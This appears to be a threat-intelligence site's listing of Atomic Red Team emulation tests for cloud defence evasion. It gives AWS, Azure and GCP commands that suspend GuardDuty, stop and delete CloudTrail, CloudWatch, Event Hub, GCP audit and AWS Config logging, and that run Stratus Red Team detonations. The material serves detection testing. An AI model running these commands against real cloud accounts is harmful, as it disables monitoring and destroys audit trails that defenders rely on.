Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region
T1651 powershell iaas:aws AWS Run Command (and Control)
Cloud Administration Command
This test simulates an adversary using the AWS Run Command service to execute commands on EC2 instances.
Import-Module "PathToAtomicsFolder/T1651/src/T1651-1/AWSSSMAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1" -TerraformVariables @("profile=T1651-1", "region=$region")
Invoke-SSMAttack -AWSProfile "T1651-1" -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1"
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1651/src/T1651-1" -TerraformVariables @("profile=T1651-1", "region=$region")
T1685 bash iaas:aws AWS - GuardDuty Suspension or Deletion
Disable or Modify Tools
Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.
detectorId=$(aws guardduty create-detector --enable --region "#{region}" | grep -oP '(?<="DetectorId": ")[^"]*')
aws guardduty update-detector --no-enable --detector-id $detectorId
aws guardduty delete-detector --detector-id $detectorId
T1685.002 sh iaas:aws AWS - CloudTrail Changes
Disable or Modify Cloud Log
Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail
aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name}  --is-multi-region-trail --region #{region}
aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region}
aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region}
T1685.002 powershell iaas:azure Azure - Eventhub Deletion
Disable or Modify Cloud Log
Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-AzureAD -Credential $creds
Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}
T1685.002 sh linux, macos, iaas:aws AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
Disable or Modify Cloud Log
Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-event-selectors
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force
T1685.002 sh linux, macos, iaas:aws AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
Disable or Modify Cloud Log
This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force
T1685.002 sh linux, macos, iaas:aws AWS - Remove VPC Flow Logs using Stratus
Disable or Modify Cloud Log
This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.vpc-remove-flow-logs
echo "starting detonate"
./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force
T1685.002 sh iaas:aws AWS - CloudWatch Log Group Deletes
Disable or Modify Cloud Log
Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
T1685.002 sh iaas:aws AWS CloudWatch Log Stream Deletes
Disable or Modify Cloud Log
Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
T1685.002 sh iaas:gcp GCP - Delete Activity Event Log
Disable or Modify Cloud Log
GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied. An adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. This Atomic attempts to delete the Activity Event log. An event is generated under the method name of google.logging.v2.LoggingServiceV2.DeleteLog with a Serverity of ERROR.
gcloud config set project #{project-id}
gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet
T1685.002 sh iaas:aws AWS - Config Logs Disabled
Disable or Modify Cloud Log
Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity.
aws configservice stop-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder stopped ***"
aws configservice delete-delivery-channel --delivery-channel-name #{delivery_channel_name} --region #{region}
echo "*** Delivery channel deleted ***"
aws configservice delete-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder deleted ***"
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin